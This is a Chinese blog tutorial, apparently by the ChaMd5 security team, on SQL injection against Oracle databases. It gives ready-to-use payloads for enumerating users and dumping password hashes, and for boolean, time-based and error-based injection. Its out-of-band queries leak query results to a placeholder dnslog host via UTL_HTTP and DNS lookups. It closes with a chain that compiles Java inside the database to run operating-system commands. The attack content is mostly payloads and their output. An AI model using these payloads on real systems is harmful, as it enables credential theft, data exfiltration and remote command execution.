oracle decode_Oracle 注入学习(终结版)

3ad98d9bd44c535ccca048d22e4679a1.png

Every body早上好鸭!

ChaMd5安全团队最勤劳小编上线啦!

66a244b85800215201c5e5c8270287e4.png
86abab4035ef1ecfa8b14782d1801d01.gifOracle 数据库学习

Oracle,是甲骨文公司的一款关系数据库管理系统。

User Process、Server Process、PGA可以看做成Clinet端,上面的实例(Instance)和下面的数据库(Database)及参数文件(parameter file)、密码文件(password file)和归档日志文件(archived logfiles)组成Oracle Server,所以整个示图可以理解成一个C/S架构。

Oracle Server由两个实体组成:

实例(instance)与数据库(database)

86abab4035ef1ecfa8b14782d1801d01.gif搭建
https://github.com/ChaMd5Team/Pentest-tools/tree/master/Oracleinject

86abab4035ef1ecfa8b14782d1801d01.gif注入学习

oracle特性:

Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则,Oracle保证dual里面永远只有一条记录

获取数据库版本:

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';

e2bb1ccf74dbf3810bfd0288adff6f9c.png
SELECT version FROM v$instance;

59cc813781e1a64dcc5b56707de496b5.png

获取操作系统版本:

SELECT banner FROM v$version where banner like 'TNS%';

ea1013b00bbd1d10d7b842b495fa4a86.png

获取当前数据库用户:

SELECT user FROM dual;

f27c37ab2d1038fe771b15409c16d1b2.png

获取当前用户权限:

SELECT * FROM session_privs;

8a563fb9d933b2155d83892f1d4e9661.png

获取所有数据库用户密码:

SELECT name, spare4 FROM sys.user$;

748c62e35d3e76cbdcec3150364cd791.png

列出DBA账户:

2d83cf14e4278970db02167aee452beb.png

获取DB文件路径:

SELECT name FROM V$DATAFILE;

8897313b468c6ce7234a0351a1d12067.png

基于函数的注入

Substr函数

select substr(user, 1, 1) from dual;

48b2ce1c84f986b37c5c4e2d4d696c02.png

Decode函数:

错误返回2

select decode(substr(user, 1, 1), '1', (1/1),2) from dual;

521d8f0b61c7c14c25f75d2e0e322752.png

正确返回1

select decode(substr(user, 1, 1), 'S', (1/1),2) from dual;

1928d8ac1d32ba834c69a7948cd2278f.png

Instr函数:

错误返回0

select instr((select user from dual),'admin') FROM dual;

f5095bc85ee07b28f87b4f32f99c8a95.png

正确返回1

select instr((select user from dual),'SYS') FROM dual;

54999beb081c9f21053a234f5333bc74.png

时间盲注:

语句一正确延时10秒左右返回1:

select 1 from dual where DBMS_PIPE.RECEIVE_MESSAGE('olo', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

5143b1116d8dc778a9a932eda2e82e64.png

语句二正确延时10s左右返回1:

select decode(substr(user,1,1),'S',dbms_pipe.receive_message('olo',10),0) from dual;

338c785fee2f1009e2b9da05f9ea752f.png

语句三正确延时10s左右返回1:

select 1 from dual where 1=0 or DBMS_PIPE.RECEIVE_MESSAGE('pyy', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 10))=1;

6b248a239befc83b4bb5b276f928db6a.png

报错注入:

ctxsys.drithsx.sn()函数:

select ctxsys.drithsx.sn(1, (select user from dual)) from dual;

271e753b31121f7bd730abfbefc84ef6.png

ctxsys.ctx_report.token_type()函数:

select ctxsys.ctx_report.token_type((select user from dual), '1') from dual;

32223b9c178ced6b2daaeccf7be706cf.png

xmltype()函数:

select xmltype('<:'||(select user from dual)||'>') from dual;

3a931666b5bf7ec11f9bed8cd7443bd1.png

dbms_xdb_version.checkin()函数:

select dbms_xdb_version.checkin((select user from dual)) from dual;

7790cd1ac3eb77945040a5626d940d03.png

dbms_xdb_version.makeversioned()函数:

select dbms_xdb_version.makeversioned((select user from dual)) from dual;

969f616fe159c07d74a4c91b0a951166.png

dbms_xdb_version.uncheckout()函数:

select dbms_xdb_version.uncheckout((select user from dual)) from dual;

46f3ed0a0bfd50fb7c50f4e85f30b7f0.png

dbms_utility.sqlid_to_sqlhash()函数:

SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual;

b9d1db9b9021d46b555f350fc82e1d8f.png

ordsys.ord_dicom.getmappingxpath()函数:

select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual;

b2e703211a0505dd20c07f05dcb3841a.png

utl_inaddr.get_host_name()函数:

select utl_inaddr.get_host_name((select user from dual)) from dual;

99fa5c738997f3ab5145fb862adf861b.png

utl_inaddr.get_host_address()函数:

select utl_inaddr.get_host_address('~'||(select user from dual)||'~') from dual;

017b8ace02ba35ab7d560336003fde75.png

带外通道(OOB:Out Of Band Channels):

使用一些除常规通道以外的替代的信道来请求服务器资源,一般使用 Oracle 发送HTTP或者DNS请求,将查询结果带到请求中,然后监测外网服务器的HTTP和DNS日志,从日志中获取 sql 语句查询的结果,通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式,尤其是基于时间的盲注,能极大地加快速度

utl_http.request()函数:

SELECT UTL_HTTP.REQUEST((select user from dual)||'.xxxxx.dnslog.cn') FROM DUAL;

4d811470da206b20a88b9b2f90789998.png

ec1c772fefe236268feb39a23df59d4a.png

utl_inaddr.get_host_address()函数:(重新打马赛克)

select utl_inaddr.get_host_address((select user from dual)||'.xxxxxx.dnslog.cn') from dual;

e6ac14bfa55ba836b64bef824cc8225f.png

096581ef32f73da3b602be1f5a3d80fa.png

sys.dbms_ldap.init()函数:

select dbms_ldap.init('xxxxxx.dnslog.cn',80) from dual;

182c0d6e9dd4d7381bf7d352675ecd96.png

11eb05b14606408fb7d3feed2618146a.png

httpuritype()函数:

select httpuritype((select user from dual)||'.xxxxxx.dnslog.cn').getclob() from dual;

b316f968b5111ebbe52f661776309b17.png

beea4567e897529c39aa75f0f068ae9d.png

执行系统命令:

select null,null from dual union select 1,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

f338dc773e779bc06838f51d9fe37120.png
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

91e4db41ee6b2f8069c0dc98ca7e9299.png
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function osshell(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

f76641fae28bb6a8c82fe27edf08c52e.png

执行系统命令:

select osshell('whoami') from dual;

c1fbd9fa4b9b2b0439186fc2d6a98ee6.png

鸣谢

https://xz.aliyun.com/t/7897

end

ChaMd5 ctf组 长期招新

尤其是crypto+reverse+pwn+合约的大佬

欢迎联系admin@chamd5.org

227e2bb3bbbb489fce17e84f99c72d75.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值